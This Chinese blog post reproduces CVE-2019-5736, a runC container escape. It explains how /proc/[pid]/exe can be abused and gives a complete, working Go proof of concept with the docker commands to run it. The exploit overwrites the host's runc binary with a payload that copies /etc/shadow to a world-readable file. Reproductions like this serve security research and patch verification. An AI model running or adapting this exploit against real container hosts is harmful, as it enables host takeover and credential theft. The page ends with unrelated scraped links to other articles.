CVE-2019-5736复现
CVE-2019-5736:覆盖宿主机上的runC文件
背景
执行功能类似docker exec等是,底层实际上都是容器运行时在操作,如runC
相应的runc exec命令会被执行,最终效果是在容器内部执行用户执行的程序,就是在容器的各种命名空间内,受到各种限制(Cgroups)的情况下,启动一个进程。除此以外,与在宿主机上执行一个程序并无二致。
执行过程:
- runC启动,加入容器的命名空间
- 以自身(/proc/self/exe)为范本启动一个子进程
- /proc/[PID]/exe:特殊的符号链接,又被称为magic links,指向进程自身对应的本地程序文件,如/proc/[ls-PID]/exe就指向/bin/ls
- 打开这个文件时,在权限检查通过的情况下,内核将直接返回一个指向该文件的描述符,而非按照传统的打开方式做路径解析和文件查找。这样也就绕过了mnt命名空间及chroot机制对一个进程能够访问到的文件路径的限制
- /proc/[PID]/fd:包含了进程打开的所有文件描述符
- /proc/[PID]/exe:特殊的符号链接,又被称为magic links,指向进程自身对应的本地程序文件,如/proc/[ls-PID]/exe就指向/bin/ls
- 通过exec系统调用执行用户指定的二进制程序
利用场景:
在runc exec加入到容器的命名空间中后,容器内进程以及通过内部/proc观察到他,此时如果打开/proc/[runc-PID]/exe并写入内容,将宿主机上的runc二进制程序覆盖掉。这样下次调用runc就会执行攻击者放置的指令
两个限制:
- 需要容器内部的root权限
- linux不允许修改正在运行的进程对应的本地二进制文件
攻击步骤:
- 将容器内的/bin/sh程序覆盖为#!/proc/self/exe
- 持续遍历容器内/proc目录,读取每一个/proc/[PID]/cmdline,对runc做字符匹配,直到找到runc进程号
- 以只读的方式打开/proc/[runc-PID]/exe,拿到文件描述符fd
- 持续以写方式打开只读fd,直到runc结束占用后,写方式打开成功,通过该fd向宿主机的/usr/bin/runc写入攻击载荷
- runc最后将执行用户通过docker exec执行的/bin/sh。因为第一步,实际将执行宿主机上的runc,而runc也以及在第四步被覆盖掉
go build main.go
docker run -itd --name cve-2019-5736 ubuntu
docker cp main cve-2019-5736:/poc
docker exec cve-2019-5736 /poc
//另开一个终端(这边注意看自己payload到底是/bin/sh还是/bin/bash)
docker exec -it cve-2019-5736 /bin/sh//随后查看/tmp/shadow
cat /tmp/shadow
poc:main.go
package main// Implementation of CVE-2019-5736
// Created with help from @singe, @_cablethief, and @feexd.
// This commit also helped a ton to understand the vuln
// https://github.com/lxc/lxc/commit/6400238d08cdf1ca20d49bafb85f4e224348bf9d
import ("fmt""io/ioutil""os""strconv""strings"
)// This is the line of shell commands that will execute on the host
var payload = "#!/bin/bash \n cat /etc/shadow > /tmp/shadow && chmod 777 /tmp/shadow"func main() {// First we overwrite /bin/sh with the /proc/self/exe interpreter pathfd, err := os.Create("/bin/sh")if err != nil {fmt.Println(err)return}fmt.Fprintln(fd, "#!/proc/self/exe")err = fd.Close()if err != nil {fmt.Println(err)return}fmt.Println("[+] Overwritten /bin/sh successfully")// Loop through all processes to find one whose cmdline includes runcinit// This will be the process created by runcvar found intfor found == 0 {pids, err := ioutil.ReadDir("/proc")if err != nil {fmt.Println(err)return}for _, f := range pids {fbytes, _ := ioutil.ReadFile("/proc/" + f.Name() + "/cmdline")fstring := string(fbytes)if strings.Contains(fstring, "runc") {fmt.Println("[+] Found the PID:", f.Name())found, err = strconv.Atoi(f.Name())if err != nil {fmt.Println(err)return}}}}// We will use the pid to get a file handle for runc on the host.var handleFd = -1for handleFd == -1 {// Note, you do not need to use the O_PATH flag for the exploit to work.handle, _ := os.OpenFile("/proc/"+strconv.Itoa(found)+"/exe", os.O_RDONLY, 0777)if int(handle.Fd()) > 0 {handleFd = int(handle.Fd())}}fmt.Println("[+] Successfully got the file handle")// Now that we have the file handle, lets write to the runc binary and overwrite it// It will maintain it's executable flagfor {writeHandle, _ := os.OpenFile("/proc/self/fd/"+strconv.Itoa(handleFd), os.O_WRONLY|os.O_TRUNC, 0700)if int(writeHandle.Fd()) > 0 {fmt.Println("[+] Successfully got write handle", writeHandle)writeHandle.Write([]byte(payload))return}}
}
复现成功
参考文献:
云原生安全:攻防实践与体系构建
https://github.com/Frichetten/CVE-2019-5736-PoC
CVE-2019-5736复现相关推荐
- 2021年第一季度Sumap网络空间测绘CVE漏洞趋势安全分析报告
前言 本文主要通过网络测绘角度收集各种资产协议的版本号信息,通过比对CVE漏洞影响范围中的版本号方式,进行安全风险趋势分析,无任何实际危害互联网行为.资产在携带版本中也会存在修复补丁后版本不变的情况. ...
- Notes Twelfth Day-渗透攻击-红队-命令与控制
** Notes Twelfth Day-渗透攻击-红队-打入内网(dayu) ** 作者:大余 时间:2020-09-28 请注意:对于所有笔记中复现的这些终端或者服务器,都是自行搭建的环境进行渗透 ...
- 未发现数据源名称并且未指定默认驱动程序_看我如何发现NVIDIA GeForce Experience代码执行漏洞...
0x01 前言大家好,我是来自Chengdu University of Technology的Siyuan Yi,本人是一名安全爱好者,平时喜欢搞搞逆向,玩玩CTF.不久前,我发现了我的第一个0da ...
- VMware vCenter Server Appliance Photon OS安全修补程序
VMware vCenter Server Appliance Photon OS安全修补程序 上次更新时间 2019年12月19日 https://docs.vmware.com/en/VMware ...
- 工控系统的全球安全现状:全球漏洞实例分析
工控系统的全球安全现状:全球漏洞实例分析 一.摘要 运营技术(OT).网络和设备,即工业环境中使用的所有组件,在设计时并未考虑到安全性.效率和易用性是最重要的设计特征,然而,由于工业的数字化,越来 ...
- 2023年4月Kali MSF命令模块最详细模块与利用解释整合
前言 注意:前提概要<请遵守您本国家的相关法律法规,如有其他疑问或者任何事情与我本人无关> 开始 首先我们启动命令 msfconsole 我们应该都知道msf有三个大模块 use auxi ...
- 远程桌面漏洞poc_【漏洞复现】CVE 2019-0708 漏洞利用
0x00 前言 2019年5月14日微软官方发布安全补丁,修复了Windows远程桌面服务的远程代码执行漏洞,该漏洞影响了某些旧版本的Windows系统.此漏洞是预身份验证且无需用户交互,这就意味着这 ...
- 【从零复现CVE漏洞】Tenda 路由器栈溢出复现(CVE-2018-18708)
1 漏洞概述 从搜索引擎中搜索一下CVE会有很多提供CVE索引的网站,我们简要的看一下这个CVE的描述. An issue was discovered on Tenda AC7 V15.03.06. ...
- CV算法复现(分类算法6/6):MobileNet(2017年V1,2018年V2,2019年V3,谷歌)
致谢:霹雳吧啦Wz:霹雳吧啦Wz的个人空间_哔哩哔哩_Bilibili 目录 致谢:霹雳吧啦Wz:霹雳吧啦Wz的个人空间_哔哩哔哩_Bilibili 1 本次要点 1.1 pytorch框架语法 2 ...
- CVE(2017-15715、2021-41773、2021-40438)漏洞复现
仅用于学习参考,不要贪玩哦(*^▽^*) 目录 CVE-2017-15715 漏洞介绍 漏洞复现 CVE-2021-41773 漏洞介绍 漏洞复现 CVE-2021-40438 漏洞介绍 漏洞复现 一 ...
最新文章
- Open*** 配置参数详解
- Ubuntu 上 hi3531 交叉编译环境 arm-hisiv100nptl-linux 建设过程
- bartender2020中文版
- java线程主要状态及转换_Java线程状态转换及控制
- Arm v8 中断处理
- 功能强大的TCGA再分析平台
- PHP-FPM Fastcgi 未授权访问漏洞(端口9000)
- 棋盘覆盖-分治法(代码实现)
- scrapy异步写入mysql_scrapy之异步写入数据库
- 基于近邻法的分类器设计
- c语言设计遗传算法旅行商,用遗传算法解决旅行商问题的简单实现
- 模电、数电、电路面试题
- 如何升级到 Ubuntu 20.04
- Inception(盗梦空间)及代码实现
- Android 内外边距
- Ajax与JavaWeb分页
- 警告 1 warning C4996: 'scanf': This function or variable may be unsafe. Consider using scanf_s instead
- php 无限极分销,PHP实现无限极分类的两种方式
- ThreadLocal 面试夺命11连问
- 2019河南省第十二届ACM大学生程序设计竞赛参赛感